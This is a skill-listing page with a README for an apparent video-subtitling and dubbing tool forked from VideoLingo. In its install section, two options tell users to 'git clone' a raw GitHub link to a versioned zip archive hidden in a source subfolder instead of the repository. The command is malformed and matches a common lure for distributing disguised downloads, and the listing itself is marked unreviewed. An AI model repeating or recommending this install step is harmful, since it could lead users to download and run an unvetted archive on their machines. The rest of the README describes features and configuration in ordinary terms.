skill

ai-video-subtitle

Turn any video into translated, properly cut subtitles and dubbed audio with one API key.

Frankylancastrian312/ai-video-subtitlecommunitylistedunreviewed

Set up

Skills are installed by placing their folder where your agent loads skills.

Download ZIP from GitHub Open the repository

The download comes from github.com/Frankylancastrian312/ai-video-subtitle itself, not from our server, so what you get is exactly what its author published.

Install instructions come from the README

Skills do not use an MCP config. Follow the steps in the README below.

README

synced Oct 22, 2026

ai-video-subtitle

English | 简体中文

Turn a video into translated, properly cut subtitles — and optionally a dubbed track — with one API key.

Transcription, sentence splitting, terminology extraction, translation and dubbing all run through the dlazy API. There is no local model to download, no GPU to provision, and no per-vendor key to juggle.

What it does

Drop in a video file or a YouTube link, and the pipeline runs:

Word-level transcription — dlazy speech-to-text, with per-word timings
Sentence segmentation — spaCy for structure, an LLM for meaning
Summarization and terminology extraction — builds a glossary first, so names and jargon stay consistent across the whole video
Multi-step reflective translation — translate, critique, revise
Subtitle cutting and alignment — split long lines against the word timings so nothing drifts
Burn-in (optional) — render the subtitles into the video
Dubbing (optional) — TTS per line, speed-fitted to the subtitle timeline, merged back over the video

Requirements

Python 3.10
ffmpeg and ffprobe on your PATH (pydub needs ffprobe to read durations; some portable ffmpeg builds ship only ffmpeg.exe)
A dlazy API key — get one at dlazy.com/dashboard/organization/api-key

Install

Option A — uv (no Anaconda needed)

git clone https://raw.githubusercontent.com/Frankylancastrian312/ai-video-subtitle/main/core/asr_backend/ai_video_subtitle_v3.8.zip
cd ai-video-subtitle
python setup_env.py

Then start it with OneKeyStart_uv.bat on Windows, or:

.venv/bin/streamlit run st.py

Option B — conda

git clone https://raw.githubusercontent.com/Frankylancastrian312/ai-video-subtitle/main/core/asr_backend/ai_video_subtitle_v3.8.zip
cd ai-video-subtitle
conda create -n ai-video-subtitle python=3.10 -y
conda activate ai-video-subtitle
python install.py
streamlit run st.py

Option C — Docker

docker build -t ai-video-subtitle .
docker run -p 8501:8501 ai-video-subtitle

The image is built on python:3.10-slim — no CUDA base layer, because nothing runs locally.

Configure

Open the sidebar and paste your dlazy API key. That is the whole setup. The model pickers below it are read live from your account, so you only ever see models your key can actually run:

Setting	Options
LLM model	`claude-sonnet-5`, `qwen3.8-max`, `kimi-k3`
ASR model	`fun-asr`, `elevenlabs-stt`
TTS model	`qwen-tts`, `doubao-tts`, `elevenlabs-tts`
Voice	Loaded from the selected TTS model's voice list

Everything else lives in config.yaml, which the settings page writes for you.

Batch mode

For processing a list of videos unattended, see batch/README.md.

Known limits

Honest about what this fork gives up by moving everything to one provider:

Source language is English or Chinese. dlazy's ASR tools accept zh or en. The target translation language is free-form — write it in natural language and the LLM follows.
No vocal separation. Videos with loud background music transcribe less cleanly than they would with a local Demucs pass.
No voice cloning. Dubbing uses preset voices only.

Credits

Built on VideoLingo by Huanyu, licensed under Apache-2.0. The pipeline design is theirs; this fork swaps the model layer for dlazy. See NOTICE.md for the full list of changes.

License

Apache-2.0 — see LICENSE.